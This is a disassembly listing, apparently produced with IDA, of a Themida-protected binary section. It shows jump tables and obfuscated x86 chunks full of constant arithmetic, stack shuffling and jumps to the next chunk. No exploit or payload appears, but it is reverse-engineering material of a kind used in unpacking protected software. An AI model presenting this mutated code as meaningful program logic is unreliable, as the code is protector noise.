		dd offset loc_572F59
		dd offset sub_560CA5
		dd offset loc_56D18C
		dd offset loc_564EA9
		dd offset loc_570EDF
		dd offset sub_55EED5
		dd offset loc_569938
		dd offset loc_561FB6
		dd offset loc_56BA79
		dd offset loc_566DD0
		dd offset loc_566EB4
		dd offset loc_572BF9
		dd offset loc_5716BE
		dd offset loc_5665E9
		dd offset loc_566F43
; ---------------------------------------------------------------------------
		rol	byte ptr [ebx],	1
		push	edi
		add	[ebp-16h], dl
		push	ebp
		add	[eax], bh
		enter	56h, 3Dh
		icebp
		push	ebp
		add	bl, dl
		retn
; ---------------------------------------------------------------------------
		dw 56h
		dd offset loc_56F33B
		dd offset loc_56EEEC
		dd offset loc_5623BD
		dd offset loc_56AF7D
		dd offset dword_571480
		dd offset loc_56D427
		dd offset loc_56AA2F
		dd offset loc_56C97A
		dd offset sub_57358E
		dd offset loc_571F52
		dd offset loc_573400
		dd offset loc_56D0AA
		dd offset loc_564FC9
		dd offset loc_56F9C0
		dd offset sub_55F005
		dd offset loc_564813
		dd offset loc_5601C8
		dd offset loc_56FB94
		dd offset loc_564C38
		dd offset loc_571164
		dd offset loc_567E8A
		dd offset loc_5734DD
		dd offset loc_569AAD
		dd offset loc_5717E6
		dd offset loc_56C8CD
		dd offset loc_562B54
		dd offset loc_5621BC
		dd offset loc_567DF7
		dd offset loc_570D9C
		dd offset loc_563130
		dd offset loc_5646CD
		dd offset loc_563379
		dd offset loc_56B04F
; ---------------------------------------------------------------------------
		retn	55E6h
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_566168
		dd offset loc_56725D
		dd offset loc_561689
		dd offset loc_570698
		dd offset loc_56FFD2
		dd offset loc_5607A5
		dd offset loc_564BF9
		dd offset loc_56076D
		dd offset loc_5607B4
		dd offset loc_56C89B
		dd offset loc_56D09A
		dd offset loc_56FA22
		dd offset loc_564B9C
		dd offset loc_5620A4
		dd offset loc_56D519
		dd offset sub_561298
		dd offset loc_572A95
		dd offset loc_56AEFC
		dd offset loc_56B90A
		dd offset loc_570420
		dd offset loc_56FA3B
		dd offset sub_5616A1
		dd offset loc_56520F
		dd offset loc_56BEF1
		dd offset loc_56792B
		dd offset loc_56CB2D
		dd offset loc_565D0C
		dd offset loc_56187D
		dd offset loc_571CF7
		dd offset loc_55FE05
		dd offset loc_565244
		dd offset loc_55E60A
		dd offset loc_55EDD0
		dd offset loc_56C152
		dd offset loc_56A45F
		dd offset loc_56BED7
		dd offset loc_571299
		dd offset loc_5717A3
		dd offset loc_5665A1
		dd offset loc_56E0A2
		dd offset loc_5664F4
		dd offset loc_5701A4
		dd offset loc_570ECC
		dd offset loc_56F921
		dd offset sub_561054
		dd offset loc_56C4A4
		dd offset loc_571F1B
		dd offset loc_56F7C0
		dd offset loc_56DDE0
		dd offset loc_566AFA
		dd offset loc_5706D1
		dd offset loc_568EA7
		dd offset sub_55F5F5
		dd offset loc_56376A
		dd offset sub_5612AF
		dd offset loc_568785
		dd offset loc_56A02B
		dd offset loc_568E91
		dd offset loc_561992
		dd offset loc_56F52C
		dd offset loc_56A93E
		dd offset loc_570AC1
		dd offset loc_56558C
		dd offset loc_56F38F
		dd offset loc_57013F
		dd offset loc_56ED0E
		dd offset loc_56A2BA
		dd offset loc_56AF8C
		dd offset loc_563EBD
		dd offset loc_56C03A
		dd offset sub_560CB5
		dd offset loc_564701
		dd offset sub_561D84
		dd offset sub_55EEE3
		dd offset sub_55EEEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B54


loc_55E37C:				; CODE XREF: Themida_:005A10EBj
					; sub_5A3B54+222j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61247BEh
		mov	eax, edi
		add	edi, 61244D6h
		cmp	eax, [edi+2Ch]
		jnz	short loc_55E39A
		jmp	short loc_55E3AD
; ---------------------------------------------------------------------------


loc_55E39A:				; CODE XREF: sub_5A3B54-457BEj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55E3A9
; ---------------------------------------------------------------------------


loc_55E3A4:				; CODE XREF: sub_5A3B54-457A9j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_55E3A9:				; CODE XREF: sub_5A3B54-457B2j
		or	ecx, ecx
		jnz	short loc_55E3A4


loc_55E3AD:				; CODE XREF: sub_5A3B54-457BCj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55E3BA:				; CODE XREF: sub_5A3B54-45793j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55E3BA
; END OF FUNCTION CHUNK	FOR sub_5A3B54
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55E3C3:				; CODE XREF: sub_56207C-3935j
					; sub_56207C-3915j ...
		lodsb
		jmp	loc_570079
; ---------------------------------------------------------------------------


loc_55E3C9:				; CODE XREF: sub_56207C+9AB7j
		sub	al, bh
		pop	ebx
		push	736Bh
		mov	[esp+0], edx
		push	eax
		mov	al, 9
		push	ebx
		mov	bl, al
		mov	dl, bl
		pop	ebx
		pop	eax
		push	ebx
		mov	bh, 26h
		sub	bh, 4Ch
		jmp	loc_570EA6
; ---------------------------------------------------------------------------


loc_55E3E9:				; CODE XREF: sub_56207C+D7CBj
		mov	[esp+4+var_4], ecx
		mov	ecx, 0FBA48DEh
		jmp	loc_56A2D4
; ---------------------------------------------------------------------------


loc_55E3F6:				; CODE XREF: sub_56207C+3981j
		pop	ebx
		push	edi
		mov	di, 20BEh
		inc	di
		jmp	loc_563B39
; ---------------------------------------------------------------------------


loc_55E403:				; CODE XREF: sub_56207C+34CEj
		push	edi
		jmp	loc_572ABD
; ---------------------------------------------------------------------------


loc_55E409:				; CODE XREF: sub_56207C+DE2Cj
		mov	word ptr [esp+8+var_8],	di
		push	eax
		mov	ax, 6234h
		jmp	loc_57186C
; ---------------------------------------------------------------------------


loc_55E417:				; CODE XREF: sub_56207C+6488j
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		xchg	edx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		sub	edi, 0B18ACABFh
		sub	edx, edi
		push	[esp+0Ch+var_C]
		jmp	loc_56325E
; ---------------------------------------------------------------------------


loc_55E443:				; CODE XREF: sub_56207C-18DCj
		push	0AE3h
		mov	[esp+14h+var_14], edx
		mov	edx, 4A6C7666h
		sub	ebp, edx
		jmp	loc_561D48
; ---------------------------------------------------------------------------


loc_55E457:				; CODE XREF: sub_56207C+B823j
		add	eax, 8777553h
		push	edx
		mov	edx, 29F1362Dh
		jmp	loc_571E81
; ---------------------------------------------------------------------------


loc_55E467:				; CODE XREF: sub_56207C+E9AEj
		push	ecx
		push	ebp
		mov	ebp, 3B001EC4h
		neg	ebp
		not	ebp
		inc	ebp
		jmp	loc_55E5E5
; ---------------------------------------------------------------------------


loc_55E478:				; CODE XREF: sub_56207C+107D2j
		pop	eax
		jmp	loc_56E65C
; ---------------------------------------------------------------------------


loc_55E47E:				; CODE XREF: sub_56207C-1127j
		add	eax, edx
		pop	edx
		push	esi
		push	ebp
		push	58D4139Fh
		mov	ebp, [esp+24h+var_24]
		jmp	loc_561CB7
; ---------------------------------------------------------------------------


loc_55E490:				; CODE XREF: sub_56207C+5488j
		mov	ah, 68h
		inc	ah
		or	ah, 65h
		sub	ah, 6Ch
		add	ch, ah
		mov	eax, [esp+24h+var_24]
		add	esp, 4
		shl	ch, 7
		push	7EB3h
		mov	[esp+24h+var_24], edx
		push	ecx
		mov	ch, 88h
		jmp	loc_565535
; ---------------------------------------------------------------------------


loc_55E4B5:				; CODE XREF: sub_56207C+769j
		add	esp, 4
		mov	edi, esi
		pop	esi
		and	eax, edi
		push	[esp+20h+var_20]
		pop	edi
		push	0FF6h
		mov	[esp+24h+var_24], edi
		sub	esp, 4
		jmp	loc_55EEC2
; ---------------------------------------------------------------------------


loc_55E4D4:				; CODE XREF: sub_56207C+DA37j
		sub	edi, 35BF0B8Ch
		mov	ebx, edi
		pop	edi
		jmp	loc_566684
; ---------------------------------------------------------------------------


loc_55E4E2:				; CODE XREF: sub_56207C+6E26j
		pop	edx
		and	edi, 3D9F4014h
		add	edi, 161572A8h
		push	edx
		mov	edx, 2CD47C96h
		shr	edx, 2
		or	edx, 22A34555h
		add	edx, 60A84517h
		sub	edx, 74116313h
		sub	edx, 0E62DCED1h
		sub	edi, edx
		pop	edx
		jmp	loc_55FC32
; ---------------------------------------------------------------------------


loc_55E518:				; CODE XREF: sub_56207C+E111j
		add	ebp, 4
		jmp	loc_56F72A
; ---------------------------------------------------------------------------


loc_55E523:				; CODE XREF: sub_56207C+4C5Ej
		pop	edi
		jmp	loc_56CB3C
; ---------------------------------------------------------------------------


loc_55E529:				; CODE XREF: sub_56207C+286Aj
		mov	[esp+1Ch+var_1C], edx
		jmp	loc_5701F0
; ---------------------------------------------------------------------------


loc_55E531:				; CODE XREF: sub_56207C+2993j
		push	59EBh
		mov	[esp+20h+var_20], ebp
		mov	ebp, 6A47017h
		add	ebp, 1
		sub	ebp, 165D0C0Ch
		shl	ebp, 3
		push	6A44h
		mov	[esp+24h+var_24], ebx
		mov	ebx, 6FAF3332h
		sub	ebp, ebx
		jmp	loc_56E5D1
; ---------------------------------------------------------------------------


loc_55E561:				; CODE XREF: sub_56207C+10933j
		xchg	esi, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		push	ecx
		mov	ecx, 2554955h
		push	eax
		mov	eax, 6D8C2047h
		add	eax, 96AA34B1h
		sub	edi, eax
		pop	eax
		sub	edi, ecx
		push	ecx
		mov	ecx, 43654F8h
		add	edi, ecx
		jmp	loc_567671
; ---------------------------------------------------------------------------


loc_55E58A:				; CODE XREF: sub_56207C+2F19j
		mov	esi, 29533F3Fh
		jmp	loc_562D79
; ---------------------------------------------------------------------------


loc_55E594:				; CODE XREF: sub_56207C+F25Aj
		or	ebx, 697B6E5Ah
		jmp	loc_560D32
; ---------------------------------------------------------------------------


loc_55E59F:				; CODE XREF: sub_56207C+C887j
		mov	ebp, esp
		push	ebx
		push	5935h
		jmp	loc_561023
; ---------------------------------------------------------------------------


loc_55E5AC:				; CODE XREF: sub_56207C-EC8j
		xor	ecx, [esp+34h+var_34]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_56470A
; ---------------------------------------------------------------------------


loc_55E5BA:				; CODE XREF: sub_56207C+D8CBj
		mov	[esp+30h+var_30], ebx
		mov	ebx, 0E0B15F9h
		shr	ebx, 1
		add	ebx, 4F4BB54Bh
		sub	esp, 4
		mov	[esp+34h+var_34], ebp
		mov	ebp, 77C9359Fh
		not	ebp
		jmp	loc_56C461
; ---------------------------------------------------------------------------


loc_55E5DC:				; CODE XREF: sub_56207C+AB36j
		mov	word ptr [esp+34h+var_34], dx
		jmp	loc_570517
; ---------------------------------------------------------------------------


loc_55E5E5:				; CODE XREF: sub_56207C-3C09j
		neg	ebp
		sub	ebp, 0A97B779Ch
		mov	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 0C4176786h
		xor	ecx, eax
		pop	eax
		sub	ebx, ecx
		jmp	loc_56D569
; ---------------------------------------------------------------------------


loc_55E600:				; CODE XREF: sub_56207C+E3BDj
		pop	esp
		mov	[esp+18h+var_18], edi
		push	eax
		jmp	loc_561350
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_55E60A:				; DATA XREF: Themida_:0055E2CCo
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	0C60h
		mov	[esp], ebp
		push	4A6Bh
		jmp	loc_566D8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55E622:				; CODE XREF: sub_56207C+3D14j
		xor	ebp, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		mov	ax, word ptr [esp+1Ch+var_1C]
		push	2EAEh
		mov	[esp+20h+var_20], esi
		mov	esi, esp
		push	edx
		mov	edx, 22764E52h
		jmp	loc_5697A5
; ---------------------------------------------------------------------------


loc_55E641:				; CODE XREF: sub_56207C+B33Ej
		mov	edx, [esp+24h+var_24]
		add	esp, 4
		or	[edi+1Ch], ecx
		push	[esp+20h+var_20]
		mov	ecx, [esp+24h+var_24]
		add	esp, 4
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55E656	proc near		; CODE XREF: sub_56207C+87D5j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	726Ah
		mov	[esp+8+var_8], ebx
		jmp	loc_570CE2
sub_55E656	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55E66C:				; CODE XREF: sub_56207C+734Fj
		push	7C6Fh
		mov	[esp+20h+var_20], eax
		jmp	loc_569FB3
; ---------------------------------------------------------------------------


loc_55E679:				; CODE XREF: sub_56207C+C556j
		sub	ebp, 944EDB8Fh
		push	ebx
		push	edx
		mov	edx, ebp
		mov	ebx, edx
		mov	edx, [esp+28h+var_28]
		add	esp, 4
		mov	esi, ebx
		pop	ebx
		pop	ebp
		and	esi, 6649367Dh
		sub	esp, 4
		mov	[esp+20h+var_20], ebx
		mov	ebx, 6EDC1296h
		push	0
		sub	[esp+24h+var_24], ebx
		jmp	loc_564C8F
; ---------------------------------------------------------------------------


loc_55E6AD:				; CODE XREF: sub_56207C+F105j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+24h+var_24]
		pop	esp
		jmp	loc_561F15
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_56B639
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55E6CB:				; CODE XREF: sub_56207C+88A0j
		pop	eax
		add	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 0FFFFFFFFh
		jmp	loc_5684EC
; ---------------------------------------------------------------------------


loc_55E6DA:				; CODE XREF: sub_56207C-2B96j
		sub	edi, 4
		xchg	edi, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], ebx
		push	546Dh
		mov	[esp+1Ch+var_1C], eax
		mov	eax, esp
		jmp	loc_572F4E
; ---------------------------------------------------------------------------


loc_55E6F3:				; CODE XREF: sub_56207C+55A8j
		pop	edi
		pop	ebx
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		push	[esp+18h+var_14]
		pop	edx
		jmp	loc_56416A
; ---------------------------------------------------------------------------


loc_55E708:				; CODE XREF: sub_56207C-1E74j
		pop	edi
		add	esi, edi
		pop	edi
		sub	esi, edx
		sub	esp, 4
		mov	[esp+14h+var_14], ecx
		mov	ecx, 31BF41ABh
		sub	esi, ecx
		pop	ecx
		push	[esp+10h+var_10]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+18h+var_14]
		pop	ebx
		pop	[esp+18h+var_18]
		pop	esp
		jmp	loc_55F48C
; ---------------------------------------------------------------------------


loc_55E73E:				; CODE XREF: sub_56207C+102DCj
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_55E74C:				; CODE XREF: sub_56207C+1138Cj
		mov	edx, 4
		add	esi, edx
		jmp	loc_5634EC
; ---------------------------------------------------------------------------


loc_55E758:				; CODE XREF: sub_56207C+7F15j
		xor	ebp, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ebp
		xor	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], eax
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_55E76C:				; CODE XREF: sub_56207C+1E4j
		mov	eax, 3ADC7094h
		sub	edi, 4A27621Fh
		sub	edi, eax
		add	edi, 4A27621Fh
		pop	eax
		push	ebp
		mov	ebp, 6A985815h
		neg	ebp
		jmp	loc_5644A4
; ---------------------------------------------------------------------------


loc_55E78D:				; CODE XREF: sub_56207C+1013Ej
		pop	ebx
		add	al, cl
		mov	ecx, [esp+8+var_8]
		push	eax
		jmp	loc_55EEB1
; ---------------------------------------------------------------------------


loc_55E799:				; CODE XREF: sub_56207C+2457j
		pop	esp
		jmp	loc_56C8DF
; ---------------------------------------------------------------------------


loc_55E79F:				; CODE XREF: sub_56207C+1076j
		xchg	eax, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], esi
		jmp	loc_5666D5
; ---------------------------------------------------------------------------


loc_55E7AB:				; CODE XREF: sub_56207C+64E5j
		mov	[esp+4+var_4], edx
		push	196Fh
		jmp	loc_573522
; ---------------------------------------------------------------------------


loc_55E7B8:				; CODE XREF: sub_56207C+5C3Dj
		push	[esp+8+var_4]
		pop	edi
		jmp	loc_565215
; ---------------------------------------------------------------------------


loc_55E7C2:				; CODE XREF: sub_56207C+1CF8j
		sub	eax, esi
		push	ecx
		jmp	loc_562762
; ---------------------------------------------------------------------------


loc_55E7CA:				; CODE XREF: sub_56207C+2FD6j
		pop	edx
		push	ecx
		mov	cl, 48h
		inc	cl
		push	56A8h
		jmp	loc_563AEF
; ---------------------------------------------------------------------------


loc_55E7DA:				; CODE XREF: sub_56207C+830Fj
		push	49F0h
		mov	[esp+14h+var_14], ebx
		mov	ebx, 52521B09h
		jmp	loc_56991C
; ---------------------------------------------------------------------------


loc_55E7EC:				; CODE XREF: sub_56207C+DCCj
		pop	esi
		add	esp, 4
		add	esp, 4
		and	ebx, esi
		push	[esp+8+var_8]
		pop	esi
		push	1946h
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		jmp	loc_570E83
; ---------------------------------------------------------------------------


loc_55E817:				; CODE XREF: sub_56207C+E3CEj
		add	ebx, edx
		add	ebx, 33B907EBh
		push	edx
		jmp	sub_55EE93
; ---------------------------------------------------------------------------


loc_55E825:				; CODE XREF: sub_56207C+23A8j
		sub	ebx, eax
		sub	ebx, 33EB0BF5h
		mov	eax, [esp+14h+var_14]
		jmp	loc_566955
; ---------------------------------------------------------------------------


loc_55E835:				; CODE XREF: sub_56207C+4059j
		add	esi, edi
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		mov	ebp, 431809ABh
		add	ebp, 447D1D16h
		jmp	loc_572D3C
; ---------------------------------------------------------------------------


loc_55E850:				; CODE XREF: sub_56207C+D1A0j
		and	eax, ebp
		mov	ebp, [esp+18h+var_18]
		jmp	loc_56D862
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_55E85A:				; CODE XREF: Themida_:00560FA8j
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_5727F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55E868:				; CODE XREF: sub_56207C+F0CBj
		add	esi, ebx
		pop	ebx
		jmp	loc_564CBE
; ---------------------------------------------------------------------------


loc_55E870:				; CODE XREF: sub_56207C+2351j
		sub	edx, 2822A91h
		mov	esi, edx
		pop	edx
		jmp	loc_568740
; ---------------------------------------------------------------------------


loc_55E87E:				; CODE XREF: sub_56207C+C69Dj
		add	esp, 4
		jmp	loc_56AED7
; ---------------------------------------------------------------------------


loc_55E889:				; CODE XREF: sub_56207C-282Dj
		push	eax
		mov	eax, 9374E2CFh
		push	eax
		mov	eax, 438F0D86h
		sub	ecx, eax
		pop	eax
		sub	ecx, eax
		add	ecx, 438F0D86h
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		xor	eax, ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		push	esi
		mov	esi, 34822247h
		push	ebx
		mov	ebx, 2E12655Dh
		and	ebx, 693D7188h
		add	ebx, 62A46292h
		dec	ebx
		push	edi
		mov	edi, 36EA755Ch
		jmp	loc_56C574
; ---------------------------------------------------------------------------


loc_55E8D5:				; CODE XREF: sub_56207C-17CAj
		pop	ecx
		pop	edi
		add	ebp, 4
		xor	ebp, [esp+0Ch+var_C]
		jmp	loc_56DA44
; ---------------------------------------------------------------------------


loc_55E8E5:				; CODE XREF: sub_56207C+E427j
		xchg	eax, [esp+0Ch+var_C]
		jmp	loc_5671E8
; ---------------------------------------------------------------------------


loc_55E8ED:				; CODE XREF: sub_56207C+FCB2j
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	13E5h
		jmp	loc_56F5D8
; ---------------------------------------------------------------------------


loc_55E8FF:				; CODE XREF: sub_56207C+D4ABj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56E71E
; ---------------------------------------------------------------------------


loc_55E910:				; CODE XREF: sub_56207C+10C56j
		not	eax
		xchg	eax, esi
		xchg	ecx, esi
		not	ecx
		xchg	ecx, esi
		xchg	eax, esi
		jmp	loc_561565
; ---------------------------------------------------------------------------


loc_55E91F:				; CODE XREF: sub_56207C+5B0Ej
		neg	edi
		jmp	loc_5657E8
; ---------------------------------------------------------------------------


loc_55E926:				; CODE XREF: sub_56207C+6763j
		mov	ecx, [esp+10h+var_10]
		push	ebx
		mov	ebx, esp
		jmp	loc_565385
; ---------------------------------------------------------------------------


loc_55E931:				; CODE XREF: sub_56207C+BE76j
		pop	ebp
		sub	ebx, ebp
		push	edx
		jmp	loc_56AA3A
; ---------------------------------------------------------------------------


loc_55E93A:				; CODE XREF: sub_56207C+C3B3j
		push	eax
		mov	eax, 6EDE1C09h
		jmp	loc_564C95
; ---------------------------------------------------------------------------


loc_55E945:				; CODE XREF: sub_56207C+CD79j
		mov	eax, 920D3E09h
		sub	edi, 6C87322Ah
		add	edi, eax
		jmp	loc_56CDF0
; ---------------------------------------------------------------------------


loc_55E957:				; CODE XREF: sub_56207C+10880j
		add	ebx, eax
		push	ecx
		jmp	loc_56F1CA
; ---------------------------------------------------------------------------


loc_55E95F:				; CODE XREF: sub_56207C+375Dj
		mov	edx, 6E683B29h
		jmp	loc_57145E
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_55E969:				; CODE XREF: Themida_:005607C5j
		mov	edx, 4
		sub	edi, edx
		jmp	loc_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55E975:				; CODE XREF: sub_56207C+104A4j
		mov	eax, [esp+1Ch+var_1C]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_568CA6
; ---------------------------------------------------------------------------


loc_55E980:				; CODE XREF: sub_56207C+10D49j
		mov	edx, 198D2BDDh
		sub	edx, 40FC43B8h
		or	edx, 702B2AECh
		shl	edx, 4
		not	edx
		xor	edx, 62837357h
		add	ebx, edx
		pop	edx
		jmp	loc_56506B
; ---------------------------------------------------------------------------


loc_55E9A4:				; CODE XREF: sub_56207C+3662j
		dec	edi
		or	edi, 571179ADh
		jmp	loc_56B1F0
; ---------------------------------------------------------------------------


loc_55E9B0:				; CODE XREF: sub_56207C-1DC3j
		mov	ecx, 4
		jmp	loc_56425B
; ---------------------------------------------------------------------------


loc_55E9BA:				; CODE XREF: sub_56207C+586Fj
		mov	eax, [esp+1Ch+var_1C]
		push	ecx
		push	3D2Eh
		push	esp
		jmp	loc_560559
; ---------------------------------------------------------------------------


loc_55E9C9:				; CODE XREF: sub_56207C+986Ej
		pop	bx
		jmp	loc_55EB99
; ---------------------------------------------------------------------------


loc_55E9D0:				; CODE XREF: sub_56207C+B86j
		mov	ebx, 90B69C0h
		sub	ecx, ebx
		jmp	loc_56D598
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_55E9DC:				; CODE XREF: Themida_:0056184Aj
		mov	esi, 1F2177D7h
		inc	esi
		jmp	loc_564F5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55E9E7:				; CODE XREF: sub_56207C-293j
		pop	eax
		jmp	loc_56F9BB
; ---------------------------------------------------------------------------


loc_55E9ED:				; CODE XREF: sub_56207C+1898j
		push	esi
		mov	esi, 290907DBh
		shl	esi, 4
		push	4FFAh
		mov	[esp+2Ah+var_2C+2], ebp
		mov	ebp, 3701282Eh
		sub	esi, ebp
		pop	ebp
		jmp	loc_56E66C
; ---------------------------------------------------------------------------


loc_55EA0B:				; CODE XREF: sub_56207C+A26Cj
		xor	esi, ecx
		pop	ecx
		push	eax
		mov	eax, 0F24584Eh
		sub	eax, 995AB4h
		or	eax, 16E93C4Ah
		xor	eax, 542CF23h
		sub	esi, 1AEE6056h
		add	esi, eax
		add	esi, 1AEE6056h
		pop	eax
		mov	edi, esi
		pop	esi
		jmp	loc_56464C
; ---------------------------------------------------------------------------


loc_55EA3A:				; CODE XREF: sub_56207C+4D95j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp+22h+var_24+2], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5682A4
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 5491627Ah
		push	edi
		mov	edi, 1EB64D9Bh
		add	eax, edi
		pop	edi
		sub	eax, ebx
		push	edx
		push	4695h
		mov	[esp], ecx
		push	edx
		mov	edx, 318F794Ah
		jmp	loc_56DC4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55EA7A:				; CODE XREF: sub_56207C+91F7j
		push	2C0Ch
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, 14990F0Fh
		push	edx
		jmp	loc_56AC25
; ---------------------------------------------------------------------------


loc_55EA8D:				; CODE XREF: sub_56207C+8979j
		mov	ebx, 0AE41957h
		jmp	loc_567FE2
; ---------------------------------------------------------------------------


loc_55EA97:				; CODE XREF: sub_56207C+1369j
		mov	[esp+2Ah+var_2C+2], edx
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], esp
		jmp	loc_566A57
; ---------------------------------------------------------------------------


loc_55EAA5:				; CODE XREF: sub_56207C+350Bj
		pop	edx
		push	eax
		jmp	loc_56D5FF
; ---------------------------------------------------------------------------


loc_55EAAC:				; CODE XREF: sub_56207C+84D7j
		pop	ebx
		add	esp, 4
		jmp	loc_56C9C0
; ---------------------------------------------------------------------------


loc_55EAB5:				; CODE XREF: sub_56207C+50DBj
		xor	[ecx], eax
		mov	ecx, [esp+26h+var_28+2]
		add	esp, 4
		jmp	loc_564BA5
; ---------------------------------------------------------------------------


loc_55EAC2:				; CODE XREF: sub_56207C-23F0j
		mov	edi, 4
		add	[esp+22h+var_20+2], edi
		pop	edi
		pop	ebx
		push	34EDh
		mov	[esp+1Eh+var_20+2], edi
		mov	edi, 16EA3501h
		sub	esp, 4
		jmp	loc_563B31
; ---------------------------------------------------------------------------


loc_55EAE5:				; CODE XREF: sub_56207C-16Cj
		mov	[esp+22h+var_24+2], ecx
		push	321Ch
		mov	[esp+26h+var_28+2], eax
		push	74E10996h
		jmp	loc_570785
; ---------------------------------------------------------------------------


loc_55EAFA:				; CODE XREF: sub_56207C+2B24j
		push	4188h
		jmp	loc_5645B6
; ---------------------------------------------------------------------------


loc_55EB04:				; CODE XREF: sub_56207C+BA21j
		mov	ecx, esi
		jmp	loc_56903C
; ---------------------------------------------------------------------------


loc_55EB0B:				; CODE XREF: sub_56207C+5E68j
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		push	ecx
		mov	ecx, 73966CEEh
		or	ebp, ecx
		pop	ecx
		sub	ebp, 0CA058E16h
		add	edx, ebp
		mov	ebp, [esp+2Eh+var_30+2]
		add	esp, 4
		sub	esi, edx
		pop	edx
		jmp	loc_565EF0
; ---------------------------------------------------------------------------


loc_55EB33:				; CODE XREF: sub_56207C+A615j
		shl	word ptr [esp+26h+var_28+2], cl
		pushf
		jmp	loc_57182A
; ---------------------------------------------------------------------------


loc_55EB3D:				; CODE XREF: sub_56207C+92D8j
		add	ecx, 538F2B77h
		shr	ecx, 1
		shl	ecx, 1
		and	ecx, 37762387h
		xor	ecx, 1E9F7146h
		push	ecx
		add	[esp+2Eh+var_30+2], 1DCC1B12h
		pop	edi
		push	eax
		mov	eax, 59A218A3h
		xor	eax, 446E03B1h
		sub	edi, eax
		pop	eax
		pop	ecx
		sub	[esp+26h+var_24+2], 30F37AA7h
		sub	[esp+26h+var_24+2], 2DB03965h
		sub	[esp+26h+var_24+2], edi
		add	[esp+26h+var_24+2], 2DB03965h
		jmp	loc_569DCF
; ---------------------------------------------------------------------------


loc_55EB8C:				; CODE XREF: sub_56207C+3657j
		mov	eax, 5FFA04AAh
		not	eax
		dec	eax
		jmp	loc_569EBF
; ---------------------------------------------------------------------------


loc_55EB99:				; CODE XREF: sub_56207C-36B1j
		push	si
		mov	si, 144Ah
		xor	bx, si
		pop	si
		mov	eax, [esp+26h+var_28+2]
		add	esp, 4
		add	ax, 34B0h
		sub	ax, bx
		sub	ax, 34B0h
		pop	bx
		push	cx
		push	edx
		push	ebp
		jmp	loc_560600
; ---------------------------------------------------------------------------


loc_55EBC3:				; CODE XREF: sub_56207C+5E47j
		push	[esp+2Ah+var_2C+2]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ebx
		not	[esp+2Ah+var_2C+2]
		push	[esp+2Ah+var_2C+2]
		jmp	loc_56EF50
; ---------------------------------------------------------------------------


loc_55EBE1:				; CODE XREF: sub_56207C-1B6j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5688D9
; ---------------------------------------------------------------------------


loc_55EBF4:				; CODE XREF: sub_56207C+B498j
		xor	ebx, 49F55F9Ah
		jmp	loc_572F2C
